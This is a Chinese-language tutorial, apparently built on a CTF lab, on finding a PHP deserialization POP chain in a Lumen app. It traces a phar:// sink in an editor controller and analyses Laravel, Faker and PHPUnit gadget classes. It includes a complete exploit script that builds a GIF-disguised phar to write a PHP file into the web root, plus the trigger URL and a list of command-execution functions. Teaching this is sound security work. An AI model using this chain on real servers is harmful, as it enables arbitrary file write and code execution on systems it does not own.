PHP反序列化入门之寻找POP链(一)
字数 1782 2025-08-18 11:38:36

PHP反序列化入门之寻找POP链(一) 教学文档

环境要求与搭建

运行环境

  • PHP >= 7.1.3
  • 必要的PHP扩展:
    • OpenSSL PHP Extension
    • PDO PHP Extension
    • Mbstring PHP Extension

安装环境

  1. 参考Lumen官方文档:https://laravel-china.org/docs/lumen/5.7/installation/2402
  2. 或使用P牛制作的docker环境:https://github.com/phith0n/code-breaking

漏洞分析

漏洞位置

  • 文件:routes/web.php
  • 路由:/server/editor
  • 控制器:app/Http/Controllers/EditorController.php中的main方法

关键漏洞点

EditorController.phpdownload方法中,$url变量未经处理直接传入file_get_contents函数:

public function download($url) {
    return file_get_contents($url);
}

变量回溯

  1. $url来自doCatchimage方法中的$sources变量
  2. $sources由用户传入的source参数控制
  3. 通过URL参数可控制:http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif

利用思路

利用方式

通过phar反序列化触发漏洞,需要:

  1. 构造恶意的序列化数据
  2. 通过phar://协议触发反序列化

PHPGGC常用函数

在PHP7.x中,许多函数被禁止动态调用,但仍可尝试:

  • 命令执行类:system, shell_exec, passthru, exec, popen, proc_open, pcntl_exec
  • 其他:mail, apache_setenv, mb_send_mail, dl, set_time_limit, ignore_user_abort, symlink, link, error_log
  • 文件迭代器类:GlobIterator, DirectoryIterator, FilesystemIterator, RecursiveDirectoryIterator

POP链构造

起点分析

PendingBroadcast类的__destruct方法开始,重点寻找:

  1. dispatch方法
  2. __call方法

关键类分析

1. ValidGenerator类

public function __call($method, $attributes) {
    $res = call_user_func_array(array($this->generator, $method), $attributes);
    return call_user_func($this->validator, $res);
}

特点:

  • 先调用call_user_func_array
  • 再将结果传入call_user_func
  • 如果控制$this->generator$this->validator,可实现任意方法调用

2. DefaultGenerator类

public function __construct($default = null) {
    $this->default = $default;
}

特点:

  • $this->default完全可控
  • 可用于控制call_user_func_array的执行结果

3. ReturnCallback类

public function __construct($callback) {
    $this->callback = $callback;
}

public function invoke(Invocation $invocation) {
    return call_user_func_array($this->callback, $invocation->getParameters());
}

特点:

  • 可实现call_user_func_array调用
  • 参数完全可控

4. StaticInvocation类

public function __construct($parameters) {
    $this->parameters = $parameters;
}

public function getParameters() {
    return $this->parameters;
}

特点:

  • 实现Invocation接口
  • 可控制call_user_func_array的参数

完整POP链

调用流程

  1. PendingBroadcast::__destruct()
  2. ValidGenerator::__call()
  3. DefaultGenerator::__call()
  4. ReturnCallback::invoke()
  5. StaticInvocation::getParameters()
  6. 最终执行file_put_contents等目标函数

EXP构造

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
};

namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($default = null) {
            $this->default = $default;
        }
    }
    
    class ValidGenerator {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        
        public function __construct($generator, $validator = null, $maxRetries = 10000) {
            $this->generator = $generator;
            $this->validator = $validator;
            $this->maxRetries = $maxRetries;
        }
    }
};

namespace PHPUnit\Framework\MockObject\Stub {
    class ReturnCallback {
        private $callback;
        public function __construct($callback) {
            $this->callback = $callback;
        }
    }
};

namespace PHPUnit\Framework\MockObject\Invocation {
    class StaticInvocation {
        private $parameters;
        public function __construct($parameters) {
            $this->parameters = $parameters;
        }
    }
};

namespace {
    $function = 'file_put_contents';
    $parameters = array('/var/www/html/11.php', '<?php phpinfo();?>');
    
    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $defaultgenerator = new Faker\DefaultGenerator($staticinvocation);
    $validgenerator = new Faker\ValidGenerator($defaultgenerator, array($returncallback, 'invoke'), 2);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator, 123);
    
    $o = $pendingbroadcast;
    $filename = 'poc.phar'; // 后缀必须为phar
    
    file_exists($filename) ? unlink($filename) : null;
    $phar = new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt", "bar");
    $phar->stopBuffering();
};
?>

利用步骤

  1. 生成恶意phar文件
  2. 上传到服务器
  3. 通过phar协议触发反序列化:
    http://website/server/editor/?action=Catchimage&source[]=phar://path/to/poc.phar

防御措施

  1. 对用户输入进行严格过滤
  2. 禁用不必要的协议(如phar)
  3. 使用最新版本的PHP框架
  4. 对反序列化操作进行严格限制
PHP反序列化入门之寻找POP链(一) 教学文档 环境要求与搭建 运行环境 PHP >= 7.1.3 必要的PHP扩展: OpenSSL PHP Extension PDO PHP Extension Mbstring PHP Extension 安装环境 参考Lumen官方文档:https://laravel-china.org/docs/lumen/5.7/installation/2402 或使用P牛制作的docker环境:https://github.com/phith0n/code-breaking 漏洞分析 漏洞位置 文件: routes/web.php 路由: /server/editor 控制器: app/Http/Controllers/EditorController.php 中的 main 方法 关键漏洞点 在 EditorController.php 的 download 方法中, $url 变量未经处理直接传入 file_get_contents 函数: 变量回溯 $url 来自 doCatchimage 方法中的 $sources 变量 $sources 由用户传入的 source 参数控制 通过URL参数可控制: http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif 利用思路 利用方式 通过 phar 反序列化触发漏洞,需要: 构造恶意的序列化数据 通过 phar:// 协议触发反序列化 PHPGGC常用函数 在PHP7.x中,许多函数被禁止动态调用,但仍可尝试: 命令执行类: system , shell_exec , passthru , exec , popen , proc_open , pcntl_exec 其他: mail , apache_setenv , mb_send_mail , dl , set_time_limit , ignore_user_abort , symlink , link , error_log 文件迭代器类: GlobIterator , DirectoryIterator , FilesystemIterator , RecursiveDirectoryIterator POP链构造 起点分析 从 PendingBroadcast 类的 __destruct 方法开始,重点寻找: dispatch 方法 __call 方法 关键类分析 1. ValidGenerator类 特点: 先调用 call_user_func_array 再将结果传入 call_user_func 如果控制 $this->generator 和 $this->validator ,可实现任意方法调用 2. DefaultGenerator类 特点: $this->default 完全可控 可用于控制 call_user_func_array 的执行结果 3. ReturnCallback类 特点: 可实现 call_user_func_array 调用 参数完全可控 4. StaticInvocation类 特点: 实现 Invocation 接口 可控制 call_user_func_array 的参数 完整POP链 调用流程 PendingBroadcast::__destruct() ValidGenerator::__call() DefaultGenerator::__call() ReturnCallback::invoke() StaticInvocation::getParameters() 最终执行 file_put_contents 等目标函数 EXP构造 利用步骤 生成恶意phar文件 上传到服务器 通过phar协议触发反序列化: http://website/server/editor/?action=Catchimage&source[]=phar://path/to/poc.phar 防御措施 对用户输入进行严格过滤 禁用不必要的协议(如phar) 使用最新版本的PHP框架 对反序列化操作进行严格限制